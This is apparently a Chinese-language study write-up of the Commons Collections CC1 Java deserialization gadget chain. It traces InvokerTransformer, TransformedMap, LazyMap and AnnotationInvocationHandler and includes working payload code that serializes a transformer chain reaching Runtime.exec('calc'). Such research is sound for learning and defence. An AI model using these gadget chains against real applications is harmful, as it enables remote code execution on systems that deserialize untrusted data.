CC1

环境配置

Java

Java版本应在8u71之前,后续版本已经修复。java历史版本下载:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

commons-collections

该依赖版本应在3.1-3.2.1之间

源码

java安装路径下解压src.zip,然后下载sun的源码到src文件夹,可以在以下网址寻找对应版本的sun包:https://hg.openjdk.org/

IDEA

首先安装好maven,新版默认绑定,然后插件会自动安装。新建一个maven的项目环境,之后项目结构会如下图所示:

image-20240202224247839

pom.xml中的<project>标签下导入依赖:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

CC1

InvokerTransformer

导入commons-collections依赖后在IDEA的外部库中就会出现其对应的源码,此时查看org.apache.commons.collections.functors下的InvokerTransformer类。

这个类中有一个public构造方法

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

其参数:

  • 方法名
  • 类数组:准确的说应该是存储方法参数对应的类
  • 对象数组:存储方法的参数

还有一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

可以看出这个方法应用了反射去调用方法,所以这里我们可以写一个代码尝试一下:

1
2
3
4
5
6
public class study1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);
}
}

从源码中可以看出调用transform()方法的参数应该是exec方法所属的类的实例化对象。

Transformedmap

从上面可以看出InvokerTransformer这个类是可以反射执行命令的。我们现在把链加长一下,上面看到transform是反射入口,那么现在看一下哪里调用了这个transform。在查找前先进行设置:

image-20240203161206448

作用域到库,不然搜不到。可以看到找到了checkSetValue()方法:

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这里由于是protected,所以没法直接调用,因此继续寻找哪里调用了checkSetValue()

image-20240203161518962

找到了setValue()方法,这个方法在一个内部类中,这个类继承了AbstractMapEntryDecorator抽象类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

同时,MapEntryAbstractInputCheckedMapDecorator的一个内部类,大致看一下AbstractInputCheckedMapDecorator就可以发现还有一个内部类EntrySet,在这个内部类中多次newMapEntry。既然new了,那么就可以调用setValue()方法。再看一下AbstractInputCheckedMapDecorator又能发现entrySet()方法,这个方法实例化了EntrySet

1
2
3
4
5
6
7
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}

为了调用entrySet()方法,我们需要实例化一个对象,那么这里实例化TransformedMap这个类也就是上面checkSetValue()方法所在的类,因为这个类继承了AbstractInputCheckedMapDecorator抽象类,可以使用父类的entrySet()方法,但是TransformedMap的构造方法私有,观察这个类可以找到一个静态方法:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

可以通过这个方法去实例化。这里先分析下这个方法的三个参数,第一个参数map需要是非空map(跟踪构造方法可知),第二个参数没有什么具体作用可留空,第三个参数为调用transform()方法的对象,因此应该是InvokerTransformer实例化的对象。

因此有payload:

1
2
3
4
5
6
7
8
9
10
11
12
public class study1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
HashMap map = new HashMap<>();
map.put("key","value");
Map<?,?> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:TransformedMapMethod.entrySet()){
entry.setValue(r);
}
}
}

最后串一下这个过程:

image-20240203214009376

这里的payload只有最后的for遍历不是很好理解。这种遍历方式首先会实例化一个EntrySetIterator对象,然后调用hasNext()方法,判断是否有下一个。

1
2
3
public boolean hasNext() {
return iterator.hasNext();
}

如果有下一个,就会返回一个MapEntry对象。然后就可以调用setValue()方法了。

AnnotationInvocationHandler

继续查找引用了setValue()方法的类,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name); //
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

这个类的readObject()方法中调用setValue()方法的for循环和上面的payload非常相似,那么这里就考虑从这里继续利用,但是观察AnnotationInvocationHandler这个类就能发现可见范围是default,那么到这里基本思路就可以是通过实例化一个AnnotationInvocationHandler,然后反序列化AnnotationInvocationHandler对象进而调用readObject()方法。

1
2
3
4
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

这里传入的transformedMap也就是for循环中的memberValues,这个可以查看构造函数:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

到这里还有一个问题,就是setValue()传参问题,这个类中传入的是AnnotationTypeMismatchExceptionProxy对象,但是我们应该传入的是Runtime对象。所以这里先将命令写成可序列化的模样:

1
2
3
4
5
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime",null);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);
Method getExec = c.getMethod("exec", String.class);
Object obj = getExec.invoke(runtime, "calc.exe");

然后写成InvokerTransformer的形式:

1
2
3
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null})
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"})

然后使用ChainedTransformer递归调用因为这个类继承了Transformer,可以生成TransformedMap

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后看一下递归部分的代码:

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

这个类中重写了transform()方法,new ConstantTransformer(Runtime.class)部分代码如下:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

相当于是传入什么就返回什么,这样多次递归就能调用exec()方法了。payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value"); //设置map的值
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 实例化
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("bin"));
outputStream.writeObject(obj);
outputStream.close();
}

public static void unserialize() throws Exception {
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("bin"));
Object obj = inputStream.readObject();
inputStream.close();
}

流程图:

image-20240204184332390

LazyMap链

org.apache.commons.collections.map下的LazyMap类有以下方法:

1
2
3
4
5
6
7
8
9
10
11
12
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

可以看出keyfactory是可以控制的,因此有payload:

1
2
3
4
5
6
7
public static void main(String[] args) {
HashMap map = new HashMap<>();
map.put("key","value");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer);
lazyMap.get(Runtime.getRuntime());
}

回到AnnotationInvocationHandler,发现还有一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

在这个方法当中可以看到有调用get(),经过前面的分析可知这个类的memberValues是可控的,那么不就可以和LazyMap相结合吗?payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class study1 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,chainedTransformer);
// 实例化AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,lazyMap);
invocationHandler.invoke(new Object(),MyInterface.class.getMethod("equals"),new Object[]{});
}
}

interface MyInterface {
void equals();
}